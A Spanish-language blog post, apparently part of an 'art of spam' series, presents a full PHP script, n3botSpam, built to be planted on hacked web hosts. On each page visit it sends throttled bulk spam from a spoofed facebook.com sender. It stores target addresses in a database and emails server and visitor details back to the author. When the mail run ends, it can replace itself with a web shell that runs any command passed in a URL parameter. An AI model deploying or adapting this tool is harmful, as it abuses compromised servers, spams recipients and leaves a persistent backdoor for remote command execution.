Después de un buen tiempo sin postear por cuestiones laborales le seguimos con la 3era parte del arte del Spam.
Que hacer cuando el hacked hot nos limita para solo poder enviar pequeñas cantidades de correo simultáneamente. Generalmente un Spamer desecha este tipo de hots al no soportar grandes cantidades pero entonces que podemos hacer con esos hosts?
Aquí les dejo mi script, el n3botSpam, básicamente es un Mailer al cual le definimos el número máximo de envíos permitidos por el server, de esta manera los podemos dejar colgado en el index para que spamee cierta cantidad cada vez que alguien visita la pág., ( hay muchas opciones como un cron job, redirecciones etc)
El script instala una tabla sql para llenarla de correos, y te va avisando el progreso del spam hasta terminar los correos de la tabla
<?php
/*
n3bot Spam V 1.0 powered by n350k contact[ nesok_gts@hotmail.com | Insecurity@malandrines.net ]
http://Malandrines.net Internet Security Team
*/
/*--------------------------------------[ DB Connect ]----------------------------------------*/
define(N3_test,false); /* modo de prueba true/false modo operando */
define(N3_id,666); /* Identificador */
define(N3_MAX_SEND,10); /* Envios por petici0n */
define(N3_DB_HOST,'localhost');
define(N3_DB_NAME,'n3botspam');
define(N3_DB_USER,'root');
define(N3_DB_PASS,'iostream');
/*--------------------------------------[ Mensaje ]----------------------------------------*/
define(N3_mail_HTML,false); /* Permitir HTML true/false solo txt */
define(N3_mail_from_name,' Yeah Baby '); /* Nombre del remitente */
define(N3_mail_from_mail,'from@facebook.com'); /* Email del remitente */
define(N3_mail_to_mail,'no-reply@facebook.com'); /* Email aquien va dirigido */
define(N3_mail_subject,' Seguridad informítica '); /* Asunto del mensaje */
define(N3_mail_msg,' Visita http://malandrines.net '); /* Mensaje */
/*--------------------------------------[ DOOR ]----------------------------------------*/
define(N3_bot_filename,'n3botspam.php');
define(N3_bot_CODEdoor,'<?php if(isset($_GET[cmd])) system($_GET[cmd]) ?>'); /* al terminar de spamiar el script cambia a un código opcional */
define(N3_bot_CODEdoor_active,false); /* Activar o descativar el CODEdoor */
/*----------------------------------[ Advertir estados a: ]---------------------------------------*/
define(N3_mail_advisory_to,'insecurity@malandrines.net'); /* Correo al final del BCC para verificar cada envio */
define(N3_mail_advisory_from,'info@malandrines.net'); /* Correo fake que envia el estado de envio y fin del envio */
define(N3_server_info,n3info());
/*-------------------------------------------------------------------------------------------------------*/
$link=connect_db();
/*-------------------------------*/
if(isset($_GET['n3'])){
echo '<style>*{ font-family:"Courier New", Courier}.o{color:#006600;}.e{ color:#FF0000; }</style>';
$act=$_GET['n3'];
if($act=='install'){
/* Instalar n3bot */
if(Install_tb($link))
$eof='<p class="o">n3botspam installing sucess full</p>';
else
$eof='<p class="e">n3botspam installing fail</p>';
die($eof);
}
else if($act=='insert'){
/* cargar el n3bot con correos */
if(isset($_POST['m']) && isset($_POST['l'])){
$m=strtolower(trim($_POST['m']));
$l=strtolower(trim($_POST['l']));
$sep=$l[0];
Add_mails($m,$sep,$link);
}
die(' EOF Insert ');
}else if($act=='delete'){
//delete tabla
$q="DROP TABLE `n3botspam`";
if(mysql_query($q,$link))
$eof='<p class="o">Delete sucess full</p>';
else
$eof='<p class="e">Delete fail</p>';
die($eof.'<br>EOF delete ');
}
}
$FIELDS='`id`,`correo`';
$q="SELECT $FIELDS FROM `n3botspam` ORDER BY `id` ASC LIMIT ".N3_MAX_SEND;
$r0ws=mysql_query($q,$link);
$m=N3_mail_msg;
$a=N3_mail_subject;
$n=N3_mail_from_name;
$to=N3_mail_to_mail;
$Mails_send="\n\n";
$n3count=0;
while($r = mysql_fetch_object($r0ws))
{
++$n3count;
if($n3count==1)$id_c=$r->id;
$id_now=$r->id;
$to_c=dm_($r->correo);
$Mails_send.=$n3count.' '.$to_c."\n";
$bcc.=$to_c.',';
}
/*------------------------------------------------------------*/
if($n3count==0)
{
$m=N3_server_info.' n3boot finish';
n3send_mail('n3boot',N3_mail_advisory_from,N3_id.' finish ','',N3_mail_advisory_to,$m);
/* Cuando termina de Spamiar reemplaza el codigo del n3botscript si el CODE door esta activado */
if(N3_bot_CODEdoor_active){
$f = fopen(N3_bot_filename,'w+');
fwrite($f,$N3_bot_CODEdoor);
fclose($f);
}
}
else
{
$bcc.=N3_mail_advisory_to;
n3send_mail($n,N3_mail_from_mail,$a.'['.$id_c.','.$id_now.']',$bcc,$to,$m);
delete_($id_c,$link);
}
/*------------------------------------------------------------*/
function delete_($id_c,$link){
$id_f=$id_c+(N3_MAX_SEND);
$q="DELETE FROM `n3botspam` where `id`>=$id_c AND `id`<$id_f";
mysql_query($q, $link);
}
function Add_mails($m,$sep,$link){
if($sep=='s')$sep="\n";
$mails=explode($sep, $m);
$filtrados=0; $no_filtrados=0;
$t='n3botspam';
$total=0;
foreach($mails as $mail){
++$total;
if(insert_mail($mail,$t,$link))
++$filtrados;
else
++$no_filtrados;
}
echo '<h2 style="color:#00CC00"> Log: total: ['.$total.'] <br> OK ['.$filtrados.'] <br>Fails ['.$no_filtrados.']<h2>';
}
function insert_mail($mail,$t,$link){
$mail = preg_replace('[\r?\n\t]', '', $mail);
$mail=trim($mail);
if(!preg_match('/^[^0-9][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[@][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[.][a-zA-Z]{2,4}$/',$mail))
return false;
$q="INSERT INTO `$t`(correo) VALUES ('".em_($mail)."')";
return mysql_query($q, $link);
}
function n3send_mail($n,$c,$a,$bcc,$to,$m)
{
/* */
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers.= 'Content-type: text/'.((N3_mail_HTML)?'html':'plain').
'; charset=iso-8859-1' . "\r\n";
$headers.='BCC: '.$bcc."\r\n";
$headers.= 'From: '.$n.' <'.$c.'>'. "\r\n";
$all=' headers: '.htmlentities($headers).'<br><br>'.
' to: '.$to.'<br><br>'.
' subject: '.$a.'<br><br>'.
' msg: '.$m.'<hr>';
// echo $all;
if(N3_test)
echo $all;
else
mail($to,$a,$m,$headers);
}
function n3info()
{
$n3time =' Time = '.date("M j G:i:s Y")."\n";
$n3ip = ' Ip = '.getenv('REMOTE_ADDR')."\n";
$n3userAgent = ' UA = '.$_SERVER['HTTP_USER_AGENT']."\n";
$n3isp= ' Isp = '.gethostbyaddr($_SERVER['REMOTE_ADDR'])."\n";
$n3host= ' Host = '.$_SERVER['HTTP_HOST']."\n";
$n3file= ' file = '.$_SERVER['SCRIPT_FILENAME']."\n\n";
return $n3time.$n3ip.$n3userAgent.$n3isp.$n3host.$n3file;
}
function Install_tb($link){
$tb='CREATE TABLE IF NOT EXISTS `n3botspam` ('
. ' `id` mediumint(9) NOT NULL auto_increment,'
. ' `correo` varchar(512) NOT NULL,'
. ' PRIMARY KEY (`id`),'
. ' UNIQUE KEY `correo` (`correo`)'
. ') ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;';
return mysql_query($tb,$link);
}
function em_($em){
/* Opcional */
$f=strlen($em);
for($i=0;$i<$f;$i++){
$n=intval(ord($em[$i]));
$n=$n+1337;
$c[]=chr($n);
}
return join($c);
}
function dm_($em){
/* Opcional */
$f=strlen($em);
for($i=0;$i<$f;$i++){
$n=intval(ord($em[$i]));
$n=$n-1337;
$c[]=chr($n);
}
return join($c);
}
define(mysql_errorD,'-> 3rr0r MySql connect');
function connect_db(){
$link=@mysql_connect(N3_DB_HOST,N3_DB_USER,N3_DB_PASS) or die(mysql_error());
mysql_select_db(N3_DB_NAME, $link);
return $link;
}
?>
Cuando regrese dejo mas detalles xD